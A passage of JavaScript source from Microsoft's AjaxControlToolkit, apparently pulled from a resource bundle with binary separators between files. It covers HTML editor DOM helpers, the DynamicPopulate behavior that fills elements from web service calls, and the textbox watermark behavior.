                                for(var k=fromEl; k<toEl; k++) {
                                    var el = next.childNodes.item(k);
                                    if(!AjaxControlToolkit.HTMLEditor.isTempElement(el)) {
                                        subArr[subIndex] = el;
                                        subIndex++;
                                    }
                                }

                                if(subArr.length > 0) {
                                    result[arrIndex] = subArr;
                                    arrIndex++;
                                    subArr   = [];
                                    subIndex = 0;
                                }
                            }
                        }
                    } else {
                        if(subIndex > 0) {
                            result[arrIndex] = subArr;
                            arrIndex++;
                            subArr   = [];
                            subIndex = 0;
                        }
                        subArr[subIndex] = next;
                        result[arrIndex] = subArr;
                        arrIndex++;
                        subArr   = [];
                        subIndex = 0;
                    }
                }
            }

            if(next==rBound) break;
            next = next.nextSibling;
        }

        if(subIndex > 0) {
            result[arrIndex] = subArr;
        }
    }
    return result;
};

AjaxControlToolkit.HTMLEditor.unWrap = function(element,pars) {
    var editor = this;
    if(element.firstChild) {
        while(element.firstChild && element.firstChild.nodeType==3 && (""+element.firstChild.data+"")=="")
            element.removeChild(element.firstChild);

        var inner = [];
        while(element.firstChild) {
            if(element.firstChild != pars[0] && element.firstChild != pars[1]) inner.push(element.firstChild);
            element.parentNode.insertBefore(element.firstChild,element);
        }

        if(inner.length==0) {
            var br = editor._doc.createElement("BR");
            element.parentNode.insertBefore(br,element);
        }

        if(AjaxControlToolkit.HTMLEditor.isIE && inner.length==1 && inner[0].nodeType==3) {
            var str = ""+inner[0].data+"";
            if(str.length== 1 && str.charCodeAt(0)==160) {
                var br = editor._doc.createElement("BR");
                inner[0].parentNode.insertBefore(br,inner[0]);
                inner[0].parentNode.removeChild(inner[0]);
            }
        }

        while(element.nextSibling && element.nextSibling.nodeType==3 && (""+element.nextSibling.data+"")=="")
            element.parentNode.removeChild(element.nextSibling);

        var previousSibling = (element.previousSibling && pars[1] == element.previousSibling)?pars[1].previousSibling:element.previousSibling;

        if(previousSibling && AjaxControlToolkit.HTMLEditor.isInlineElement(previousSibling))
        if(previousSibling.nodeType==1 && previousSibling.childNodes.length > 0)
            previousSibling = AjaxControlToolkit.HTMLEditor._getReallyLast(previousSibling);

        if(AjaxControlToolkit.HTMLEditor.isInlineElement(previousSibling) && element.nextSibling != null) {
            var br = editor._doc.createElement("BR");
            element.parentNode.insertBefore(br,element);
        }
    } else {
        var br = editor._doc.createElement("BR");
        element.parentNode.insertBefore(br,element);
    }
    element.parentNode.removeChild(element);
};

AjaxControlToolkit.HTMLEditor.tryUnWrap = function(element,pars,force) {
    var editor = this;

    element.style.textAlign = "";
    var attrsNumber = 0;
    var attrs       = element.attributes;

    for (var k = 0; k < attrs.length; ++k) {
        var a = attrs.item(k);
        if (!a.specified) continue;
        if (a.name.toLowerCase()=="style") continue;
        attrsNumber++;
    }

    var save_css = element.style.cssText;
    var margin = 0;
    var mar;
    var elementTagName = element.tagName.toUpperCase();

    if(!(typeof force != "undefined" && force))
    if(elementTagName != "LI")
        try {
            mar = parseInt(AjaxControlToolkit.HTMLEditor.getStyle(element,"margin-top"));
            if(isNaN(mar)) mar=elementTagName=="P"?1:0;
            margin+=mar;

            mar = parseInt(AjaxControlToolkit.HTMLEditor.getStyle(element,"margin-bottom"));
            if(isNaN(mar)) mar=elementTagName=="P"?1:0;
            margin+=mar;

            mar = parseInt(AjaxControlToolkit.HTMLEditor.getStyle(element,"margin-right"));
            if(isNaN(mar)) mar=elementTagName=="P"?1:0;
            margin+=mar;

            mar = parseInt(AjaxControlToolkit.HTMLEditor.getStyle(element,"margin-left"));
            if(isNaN(mar)) mar=elementTagName=="P"?1:0;
            margin+=mar;
        } catch(e) {margin=1;}

    element.style.margin  = "";

    if((attrsNumber == 0  && element.style.cssText.length == 0 && margin==0) || (typeof force != "undefined" && force && elementTagName != "LI")) {
        editor.unWrap(element,pars);
        return true;
    } else {
        element.style.cssText   = save_css;
        return false;
    }
};

AjaxControlToolkit.HTMLEditor._queryCommandValue = function(cmdID, _id) {
    var obj = this._rangeStartEnd();
    if(obj == null) return "";

    try {
        if(cmdID.toLowerCase()=="backcolor") {
            var el = obj.start;
            while(el) {
                var bckg = AjaxControlToolkit.HTMLEditor.getStyle(el,"background-color").toLowerCase();
                if(bckg.length > 0 && bckg != "transparent") return bckg;
                el = el.parentNode;
            }
            return "#FFFFFF";
        }

        var cssStyle = "none";
        switch (cmdID.toLowerCase()) {
            case "forecolor":
                cssStyle = "color";
                break;
            case "fontname":
                cssStyle = "font-family";
                break;
            case "fontsize":
                cssStyle = "font-size";
                break;
        }

        var ret;

        if((cssStyle == "font-size" || cssStyle == "font-family") && this._FontNotSet) {
            ret = "";
            var par = obj.start;
            while (par != null) {
                if(cssStyle == "font-size") {
                    if(par.style && par.style.fontSize && par.style.fontSize.length > 0) {
                        ret = par.style.fontSize;
                        break;
                    } else if(par.tagName && par.tagName.toUpperCase()=="FONT" && par.size && par.size.length > 0) {
                        ret = AjaxControlToolkit.HTMLEditor.fontSizeSeek(par.size);
                        break;
                    }
                } else {
                    if(par.style && par.style.fontFamily && par.style.fontFamily.length > 0) {
                        ret = par.style.fontFamily;
                        break;
                    } else if(par.tagName && par.tagName.toUpperCase()=="FONT" && par.face && par.face.length > 0) {
                        ret = par.face;
                        break;
                    }
                }

                if(par.className && par.className.length > 0) {
                    ret = AjaxControlToolkit.HTMLEditor.getStyle(par,cssStyle).toLowerCase();
                    if(cssStyle == "font-size") {
                        if(!AjaxControlToolkit.HTMLEditor.isIE) {
                            ret = AjaxControlToolkit.HTMLEditor._TryTransformFromPxToPt(ret,this,_id);
                        }
                    }
                    break;
                }
                var parTagName = par.tagName.toUpperCase();
                if(parTagName == "BODY" || parTagName == "TD") break;

                par = par.parentNode;
            }
        } else {
            ret = AjaxControlToolkit.HTMLEditor.getStyle(obj.start,cssStyle).toLowerCase();

            if(cssStyle == "font-size") {
                if(!AjaxControlToolkit.HTMLEditor.isIE) {
                    ret = AjaxControlToolkit.HTMLEditor._TryTransformFromPxToPt(ret,this,_id);

                    var par = obj.start;
                    while (par != null) {
                        if(par.style && par.style.fontSize && par.style.fontSize.length > 0) {
                            ret = par.style.fontSize;
                            break;
                        }

                        if(par.className && par.className.length > 0) break;
                        var parTagName = par.tagName.toUpperCase();
                        if(parTagName == "BODY" || parTagName == "TD") break;

                        par = par.parentNode;
                    }
                }
            }
        }

        if(this._StyleForTyping != null && this._StyleForTyping.length > 0) {
            for(var i=0; i < this._StyleForTyping.length; i++) {
                var curCss = this._StyleForTyping[i];

                if(curCss.name == cssStyle) {
                    ret = curCss.value;
                    break;
                }
            }
        }

        return ret;
    } catch(ex) {return "";}
};h=// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.DynamicPopulateBehavior = function(element) {
    /// <summary>
    /// The DynamicPopulateBehavior replaces the contents of an element with the result of a web service or page method call.  The method call returns a string of HTML that is inserted as the children of the target element.
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// DOM Element the behavior is associated with
    /// </param>
    AjaxControlToolkit.DynamicPopulateBehavior.initializeBase(this, [element]);
    
    this._servicePath = null;
    this._serviceMethod = null;
    this._contextKey = null;
    this._cacheDynamicResults = false;
    this._populateTriggerID = null;
    this._setUpdatingCssClass = null;
    this._clearDuringUpdate = true;
    this._customScript = null;
    
    this._clickHandler = null;
    
    this._callID = 0;
    this._currentCallID = -1;
    
    // Whether or not we've already populated (used for cacheDynamicResults)
    this._populated = false;
}
AjaxControlToolkit.DynamicPopulateBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.DynamicPopulateBehavior.callBaseMethod(this, 'initialize');
        $common.prepareHiddenElementForATDeviceUpdate();        
    
        // hook up the trigger if we have one.
        if (this._populateTriggerID) {
            var populateTrigger = $get(this._populateTriggerID);
            if (populateTrigger) {
                this._clickHandler = Function.createDelegate(this, this._onPopulateTriggerClick);
                $addHandler(populateTrigger, "click", this._clickHandler);
            }
        }
    },
    
    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>

        // clean up the trigger event.
        if (this._populateTriggerID && this._clickHandler) {
            var populateTrigger = $get(this._populateTriggerID);
            if (populateTrigger) {
                $removeHandler(populateTrigger, "click", this._clickHandler);
            }
            this._populateTriggerID = null;
            this._clickHandler = null;
        }
       
        AjaxControlToolkit.DynamicPopulateBehavior.callBaseMethod(this, 'dispose');
    },
    
    populate : function(contextKey) {
        /// <summary>
        /// Get the dymanic content and use it to populate the target element
        /// </summary>
        /// <param name="contextKey" type="String" mayBeNull="true" optional="true">
        /// An arbitrary string value to be passed to the web method. For example, if the element to be
        /// populated is within a data-bound repeater, this could be the ID of the current row.
        /// </param>
        
        // Don't populate if we already cached the results
        if (this._populated && this._cacheDynamicResults) {
            return;
        }

        // Initialize the population if this is the very first call
        if (this._currentCallID == -1) {
            var eventArgs = new Sys.CancelEventArgs();
            this.raisePopulating(eventArgs);
            if (eventArgs.get_cancel()) {
                return;
            }
            this._setUpdating(true);
        }
        
        // Either run the custom population script or invoke the web service
        if (this._customScript) {
            // Call custom javascript call to populate control
            var scriptResult = eval(this._customScript);
            this._setTargetHtml(scriptResult); 
            this._setUpdating(false);
         } else {
             this._currentCallID = ++this._callID;
             if (this._servicePath && this._serviceMethod) {
                Sys.Net.WebServiceProxy.invoke(this._servicePath, this._serviceMethod, false,
                    { contextKey:(contextKey ? contextKey : this._contextKey) },
                    Function.createDelegate(this, this._onMethodComplete), Function.createDelegate(this, this._onMethodError),
                    this._currentCallID);
                $common.updateFormToRefreshATDeviceBuffer();
             }
        }
    },

    _onMethodComplete : function (result, userContext, methodName) {
        /// <summary>
        /// Callback used when the populating service returns successfully
        /// </summary>
        /// <param name="result" type="Object" mayBeNull="">
        /// The data returned from the Web service method call
        /// </param>
        /// <param name="userContext" type="Object">
        /// The context information that was passed when the Web service method was invoked
        /// </param>        
        /// <param name="methodName" type="String">
        /// The Web service method that was invoked
        /// </param>

        // ignore if it's not the current call.
        if (userContext != this._currentCallID) return;

        this._setTargetHtml(result);

        this._setUpdating(false);
    },

    _onMethodError : function(webServiceError, userContext, methodName) {
        /// <summary>
        /// Callback used when the populating service fails
        /// </summary>
        /// <param name="webServiceError" type="Sys.Net.WebServiceError">
        /// Web service error
        /// </param>
        /// <param name="userContext" type="Object">
        /// The context information that was passed when the Web service method was invoked
        /// </param>        
        /// <param name="methodName" type="String">
        /// The Web service method that was invoked
        /// </param>

        // ignore if it's not the current call.
        if (userContext != this._currentCallID) return;

        if (webServiceError.get_timedOut()) {
            this._setTargetHtml(AjaxControlToolkit.Resources.DynamicPopulate_WebServiceTimeout);
        } else {
            this._setTargetHtml(String.format(AjaxControlToolkit.Resources.DynamicPopulate_WebServiceError, webServiceError.get_statusCode()));
        }

        this._setUpdating(false);
    },

    _onPopulateTriggerClick : function() {
        /// <summary>
        /// Handler for the element described by PopulateTriggerID's click event
        /// </summary>

        // just call through to the trigger.
        this.populate(this._contextKey);
    },
    
    _setUpdating : function(updating) {
        /// <summary>
        /// Toggle the display elements to indicate if they are being updated or not
        /// </summary>
        /// <param name="updating" type="Boolean">
        /// Whether or not the display should indicated it is being updated
        /// </param>

        this.setStyle(updating);
        
        if (!updating) {
            this._currentCallID = -1;
            this._populated = true;
            this.raisePopulated(this, Sys.EventArgs.Empty);
        }
    },
    
    _setTargetHtml : function(value) {
        /// <summary>
        /// Populate the target element with the given value
        /// </summary>
        /// <param name="value" type="String">
        /// The data to populate the target element.
        /// </param>
        
        // Make sure the element is still accessible
        var e = this.get_element()
        if (e) {
            // Use value for input elements; otherwise innerHTML
            if (e.tagName == "INPUT") {
                e.value = value;
            } else {
                e.innerHTML = value;
            }
        }
    },
    
    setStyle : function(updating) {
        /// <summary>
        /// Set the style of the display
        /// </summary>
        /// <param name="updating" type="Boolean">
        /// Whether or not the display is being updated
        /// </param>
        
        var e = this.get_element();
        if (this._setUpdatingCssClass) {
            if (!updating) {
                e.className = this._oldCss;
                this._oldCss = null;
            } else {
                this._oldCss = e.className;
                e.className = this._setUpdatingCssClass;
            }
        }
        
        if (updating && this._clearDuringUpdate) {
            this._setTargetHtml("");
        }
    },
    
    get_ClearContentsDuringUpdate : function() {
        /// <value type="Boolean">
        /// Whether the contents of the target should be cleared when an update begins
        /// </value>
        return this._clearDuringUpdate;
    },
    set_ClearContentsDuringUpdate : function(value) {
        if (this._clearDuringUpdate != value) {
            this._clearDuringUpdate = value;
            this.raisePropertyChanged('ClearContentsDuringUpdate');
        }
    },
    
    get_ContextKey : function() {
        /// <value type="String">
        /// An arbitrary string value to be passed to the web method.
        /// For example, if the element to be populated is within a
        /// data-bound repeater, this could be the ID of the current row.
        /// </value>
        return this._contextKey;
    },
    set_ContextKey : function(value) {
        if (this._contextKey != value) {
            this._contextKey = value;
            this.raisePropertyChanged('ContextKey');
        }
    },
    
    get_PopulateTriggerID : function() {
        /// <value type="String" mayBeNull="true" optional="true">
        /// Name of an element that triggers the population of the target when clicked
        /// </value>
        return this._populateTriggerID;
    },
    set_PopulateTriggerID : function(value) {
        if (this._populateTriggerID != value) {
            this._populateTriggerID = value;
            this.raisePropertyChanged('PopulateTriggerID');
        }
    },
    
    get_ServicePath : function() {
        /// <value type="String" mayBeNull="true" optional="true">
        /// The URL of the web service to call.  If the ServicePath is not defined, then we will invoke a PageMethod instead of a web service.
        /// </value>
        return this._servicePath;
    },
    set_ServicePath : function(value) {
        if (this._servicePath != value) {
            this._servicePath = value;
            this.raisePropertyChanged('ServicePath');
        }
    },
    
    get_ServiceMethod : function() {
        /// <value type="String">
        /// The name of the method to call on the page or web service
        /// </value>
        /// <remarks>
        /// The signature of the method must exactly match the following:
        ///    [WebMethod]
        ///    string DynamicPopulateMethod(string contextKey)
        ///    {
        ///        ...
        ///    }
        /// </remarks>
        return this._serviceMethod;
    },
    set_ServiceMethod : function(value) {
        if (this._serviceMethod != value) {
            this._serviceMethod = value;
            this.raisePropertyChanged('ServiceMethod');
        }
    },
    
    get_cacheDynamicResults : function() {
        /// <value type="Boolean" mayBeNull="false">
        /// Whether the results of the dynamic population should be cached and
        /// not fetched again after the first load
        /// </value>
        return this._cacheDynamicResults;
    },
    set_cacheDynamicResults : function(value) {
        if (this._cacheDynamicResults != value) {
            this._cacheDynamicResults = value;
            this.raisePropertyChanged('cacheDynamicResults');
        }
    },
    
    get_UpdatingCssClass : function() {
        /// <value type="String">
        /// The CSS class to apply to the target during asynchronous calls
        /// </value>
        return this._setUpdatingCssClass;
    },
    set_UpdatingCssClass : function(value) {
        if (this._setUpdatingCssClass != value) {
            this._setUpdatingCssClass = value;
            this.raisePropertyChanged('UpdatingCssClass');
        }
    },
    
    get_CustomScript : function() {
        /// <value type="String">
        /// The script to invoke instead of calling a Web or Page method. This script must evaluate to a string value.
        /// </value>
        return this._customScript;
    },   
    set_CustomScript : function(value) {
        if (this._customScript != value) {
            this._customScript = value;
            this.raisePropertyChanged('CustomScript');
        }
    },
    
    add_populating : function(handler) {
        /// <summary>
        /// Add an event handler for the populating event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('populating', handler);
    },
    remove_populating : function(handler) {
        /// <summary>
        /// Remove an event handler from the populating event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('populating', handler);
    },
    raisePopulating : function(eventArgs) {
        /// <summary>
        /// Raise the populating event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the populating event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('populating');
        if (handler) {
            handler(this, eventArgs);
        }
    },
    
    add_populated : function(handler) {
        /// <summary>
        /// Add an event handler for the populated event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('populated', handler);
    },
    remove_populated : function(handler) {
        /// <summary>
        /// Remove an event handler from the populated event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('populated', handler);
    },
    raisePopulated : function(eventArgs) {
        /// <summary>
        /// Raise the populated event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the populated event
        /// </param>
        /// <returns />
         
        var handler = this.get_events().getHandler('populated');
        if (handler) {
            handler(this, eventArgs);
        }
    }
}
AjaxControlToolkit.DynamicPopulateBehavior.registerClass('AjaxControlToolkit.DynamicPopulateBehavior', AjaxControlToolkit.BehaviorBase);
�8// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.TextBoxWatermarkBehavior = function(element) {
    /// <summary>
    /// The TextBoxWatermarkBehavior applies a watermark to a textbox
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// Textbox associated with the behavior
    /// </param>
    AjaxControlToolkit.TextBoxWatermarkBehavior.initializeBase(this, [element]);
    
    // Properties
    this._watermarkText = null;
    this._watermarkCssClass = null;

    // Member variables
    this._focusHandler = null;
    this._blurHandler = null;
    this._keyPressHandler = null;
    this._propertyChangedHandler = null;
    this._watermarkChangedHandler = null;
    this._oldClassName = null;
    this._clearedForSubmit = null;
    this._maxLength = null;

    // Hook into the ASP.NET WebForm_OnSubmit function to clear watermarks prior to submission
    if ((typeof(WebForm_OnSubmit) == 'function') && !AjaxControlToolkit.TextBoxWatermarkBehavior._originalWebForm_OnSubmit) {
        AjaxControlToolkit.TextBoxWatermarkBehavior._originalWebForm_OnSubmit = WebForm_OnSubmit;
        WebForm_OnSubmit = AjaxControlToolkit.TextBoxWatermarkBehavior.WebForm_OnSubmit;
    }
}
AjaxControlToolkit.TextBoxWatermarkBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.TextBoxWatermarkBehavior.callBaseMethod(this, 'initialize');

        var e = this.get_element();

        // Determine if this textbox is focused initially
        var hasInitialFocus = false;
        
        var clientState = AjaxControlToolkit.TextBoxWatermarkBehavior.callBaseMethod(this, 'get_ClientState');
        if (clientState != null && clientState != "") {
            hasInitialFocus = (clientState == "Focused");
            AjaxControlToolkit.TextBoxWatermarkBehavior.callBaseMethod(this, 'set_ClientState', null);
        }

        // Capture the initial style so we can toggle back and forth
        // between this and the watermarked style
        this._oldClassName = e.className;

        // Create delegates
        this._focusHandler = Function.createDelegate(this, this._onFocus);
        this._blurHandler = Function.createDelegate(this, this._onBlur);
        this._keyPressHandler = Function.createDelegate(this, this._onKeyPress);

        // Attach events
        $addHandler(e, 'focus', this._focusHandler);
        $addHandler(e, 'blur', this._blurHandler);
        $addHandler(e, 'keypress', this._keyPressHandler);

        this.registerPropertyChanged();

        // Initialize state and simulate a blur to apply the watermark if appropriate
        // Note: The comparison against _watermarkText is undesirable, but seemingly
        // necessary to support the load->Home->Back scenario in IE
        var currentValue = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).get_Current();
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
        if (("" == currentValue) || (this._watermarkText == currentValue)) {
            wrapper.set_Watermark(this._watermarkText)
            wrapper.set_IsWatermarked(true);
        }
        if (hasInitialFocus) {
            this._onFocus();
        } else {
            e.blur();
            this._onBlur();
        }

        this._clearedForSubmit = false;

        this.registerPartialUpdateEvents();

        this._watermarkChangedHandler = Function.createDelegate(this, this._onWatermarkChanged);
        wrapper.add_WatermarkChanged(this._watermarkChangedHandler);
    },

    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>
        var e = this.get_element();

        if (this._watermarkChangedHandler) {
            AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).remove_WatermarkChanged(this._watermarkChangedHandler);
            this._watermarkChangedHandler = null;
        }

        // Unhook from Sys.Preview.UI.TextBox if present
        if(e.control && this._propertyChangedHandler) {
            e.control.remove_propertyChanged(this._propertyChangedHandler);
            this._propertyChangedHandler = null;
        }

        // Detach events
        if (this._focusHandler) {
            $removeHandler(e, 'focus', this._focusHandler);
            this._focusHandler = null;
        }
        if (this._blurHandler) {
            $removeHandler(e, 'blur', this._blurHandler);
            this._blurHandler = null;
        }
        if (this._keyPressHandler) {
            $removeHandler(e, 'keypress', this._keyPressHandler);
            this._keyPressHandler = null;
        }

        // Clear watermark text to avoid confusion during Refresh/Back/Forward
        if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).get_IsWatermarked()) {
            this.clearText(false);
        }

        AjaxControlToolkit.TextBoxWatermarkBehavior.callBaseMethod(this, 'dispose');
    },

    _onWatermarkChanged : function(sender, eventArgs) {
        /// <summary>
        /// Handler invoked when the watermark changes
        /// </summary>
        /// <param name="sender" type="Object" mayBeNull="true"/>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="true" />
        if (AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).get_IsWatermarked()) {
            this._onBlur();
        } else {
            this._onFocus();
        }
    },

    clearText : function(focusing) {
        /// <summary>
        /// Clear the text from the target
        /// </summary>
        /// <param name="focusing" type="Boolean">
        /// Whether or not we are focusing on the textbox
        /// </param>
        var element = this.get_element();
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(element);
        wrapper.set_Value("");
        wrapper.set_IsWatermarked(false);
        if(focusing) {
            element.setAttribute("autocomplete","off");  // Avoid NS_ERROR_XPC_JS_THREW_STRING error in Firefox
            element.select();  // This fix displays the blinking cursor in a focused, empty text box in IE
        }
    },

    _onFocus : function(evt) {
        /// <summary>
        /// Handler for the textbox's focus event
        /// </summary>
        /// <param name="evt" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>
        
        var e = this.get_element();
        if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(e).get_IsWatermarked()) {
            // Clear watermark
            this.clearText(evt ? true : false);
        }
        e.className = this._oldClassName;
        
        // Restore the MaxLength on the TextBox when we edit
        // the non-watermarked text
        if (this._maxLength > 0) {
            this.get_element().maxLength = this._maxLength;
            this._maxLength = null;
        }
    },

    _onBlur : function() {
        /// <summary>
        /// Handle the textbox's blur event
        /// </summary>
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
        if(("" == wrapper.get_Current()) || wrapper.get_IsWatermarked()) {
            // Enlarge the TextBox's MaxLength if it's not big enough
            // to accomodate the watermark
            if (this.get_element().maxLength > 0 && this._watermarkText.length > this.get_element().maxLength) {
                this._maxLength = this.get_element().maxLength;
                this.get_element().maxLength = this._watermarkText.length;
            }
            
            this._applyWatermark();
        }
    },

    _applyWatermark : function() {
        /// <summary>
        /// Apply the watermark to the textbox
        /// </summary>
        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element());
        wrapper.set_Watermark(this._watermarkText);
        wrapper.set_IsWatermarked(true);
        if(this._watermarkCssClass) {
            this.get_element().className = this._watermarkCssClass;
        }
    },

    _onKeyPress : function() {
        /// <summary>
        /// Handle the textbox's keypress event
        /// </summary>
        AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).set_IsWatermarked(false);
    },

    registerPropertyChanged : function() {
        /// <summary>
        /// Method called to hook up to Sys.Preview.UI.TextBox if present
        /// Note: This method must be called manually if the Sys.Preview.UI.TextBox
        ///       is added after the TextBoxWatermarkBehavior is initialized.
        /// </summary>

        var e = this.get_element();
        if(e.control && !this._propertyChangedHandler) {
            this._propertyChangedHandler = Function.createDelegate(this, this._onPropertyChanged);
            e.control.add_propertyChanged(this._propertyChangedHandler);
        }
    },

    _onPropertyChanged : function(sender, propertyChangedEventArgs) {
        /// <summary>
        /// Handler called automatically when a property change event is fired
        /// </summary>
        /// <param name="sender" type="Object">
        /// Sender
        /// </param>
        /// <param name="propertyChangedEventArgs" type="Sys.PropertyChangedEventArgs">
        /// Event arguments
        /// </param>
        if("text" == propertyChangedEventArgs.get_propertyName()) {
            this.set_Text(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).get_Current());
        }
    },

    _onSubmit : function() {
        /// <summary>
        /// Handler Called automatically when a submit happens to clear the watermark before posting back
        /// </summary>
        if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).get_IsWatermarked()) {
            // Clear watermark text before page is submitted
            this.clearText(false);
            this._clearedForSubmit = true;
        }
    },

    _partialUpdateEndRequest : function(sender, endRequestEventArgs) {
        /// <summary>
        /// Handler Called automatically when a partial postback ends
        /// </summary>
        /// <param name="sender" type="Object">
        /// Sender
        /// </param>
        /// <param name="endRequestEventArgs" type="Sys.WebForms.EndRequestEventArgs">
        /// Event arguments
        /// </param>
        AjaxControlToolkit.TextBoxWatermarkBehavior.callBaseMethod(this, '_partialUpdateEndRequest', [sender, endRequestEventArgs]);

        if (this.get_element() && this._clearedForSubmit) {
            // Restore the cleared watermark (useful when the submit was wrapped in an UpdatePanel)
            this.get_element().blur();
            this._onBlur();
            this._clearedForSubmit = false;
        }
    },

    get_WatermarkText : function() {
        /// <value type="String">
        /// The text to show when the control has no value
        /// </value>
        return this._watermarkText;
    },
    set_WatermarkText : function(value) {
        if (this._watermarkText != value) {
            this._watermarkText = value;
            if (AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).get_IsWatermarked()) {
                this._applyWatermark();
            }
            this.raisePropertyChanged('WatermarkText');
        }
    },

    get_WatermarkCssClass : function() {
        /// <value type="String">
        /// The CSS class to apply to the TextBox when it has no value (e.g. the watermark text is shown).
        /// </value>
        return this._watermarkCssClass;
    },
    set_WatermarkCssClass : function(value) {
        if (this._watermarkCssClass != value) {
            this._watermarkCssClass = value;
            if (AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).get_IsWatermarked()) {
                this._applyWatermark();
            }
            this.raisePropertyChanged('WatermarkCssClass');
        }
    },

    get_Text : function() {
        /// <value type="String">
        /// Wrapper for the textbox's text that will ignore or create the watermark as appropriate
        /// </value>
        return AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).get_Value();
    },
    set_Text : function(value) {
        if ("" == value) {
            AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).set_Current("");
            this.get_element().blur();
            this._onBlur();  // onBlur needs to see ""
        } else {
            this._onFocus();  // onFocus sets ""
            AjaxControlToolkit.TextBoxWrapper.get_Wrapper(this.get_element()).set_Current(value);
        }
    }
}
AjaxControlToolkit.TextBoxWatermarkBehavior.registerClass('AjaxControlToolkit.TextBoxWatermarkBehavior', AjaxControlToolkit.BehaviorBase);

AjaxControlToolkit.TextBoxWatermarkBehavior.WebForm_OnSubmit = function() {
    /// <summary>
    /// Wraps ASP.NET's WebForm_OnSubmit in order to strip all watermarks prior to submission
    /// </summary>
    /// <returns type="Boolean">
    /// Result of original WebForm_OnSubmit
    /// </returns>
    var result = AjaxControlToolkit.TextBoxWatermarkBehavior._originalWebForm_OnSubmit();
    if (result) {
        var components = Sys.Application.getComponents();
        for(var i = 0 ; i < components.length ; i++) {
            var component = components[i];
            if (AjaxControlToolkit.TextBoxWatermarkBehavior.isInstanceOfType(component)) {
                component._onSubmit();
            }
        }
    }
    return result;
}
�'// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />


// Add common toolkit scripts here.  To consume the scripts on a control add
// 
//      [RequiredScript(typeof(CommonToolkitScripts))] 
//      public class SomeExtender : ...
// 
// to the controls extender class declaration.


Type.registerNamespace('AjaxControlToolkit');


AjaxControlToolkit.BoxSide = function() {
    /// <summary>
    /// The BoxSide enumeration describes the sides of a DOM element
    /// </summary>
    /// <field name="Top" type="Number" integer="true" static="true" />
    /// <field name="Right" type="Number" integer="true" static="true" />
    /// <field name="Bottom" type="Number" integer="true" static="true" />
    /// <field name="Left" type="Number" integer="true" static="true" />
}
AjaxControlToolkit.BoxSide.prototype = {
    Top : 0,
    Right : 1,
    Bottom : 2,
    Left : 3
}
AjaxControlToolkit.BoxSide.registerEnum("AjaxControlToolkit.BoxSide", false);


AjaxControlToolkit._CommonToolkitScripts = function() {
    /// <summary>
    /// The _CommonToolkitScripts class contains functionality utilized across a number
    /// of controls (but not universally)
    /// </summary>
    /// <remarks>
    /// You should not create new instances of _CommonToolkitScripts.  Instead you should use the shared instance CommonToolkitScripts (or AjaxControlToolkit.CommonToolkitScripts).
    /// </remarks>
}
AjaxControlToolkit._CommonToolkitScripts.prototype = {
    // The order of these lookup tables is directly linked to the BoxSide enum defined above
    _borderStyleNames: ["borderTopStyle", "borderRightStyle", "borderBottomStyle", "borderLeftStyle"],
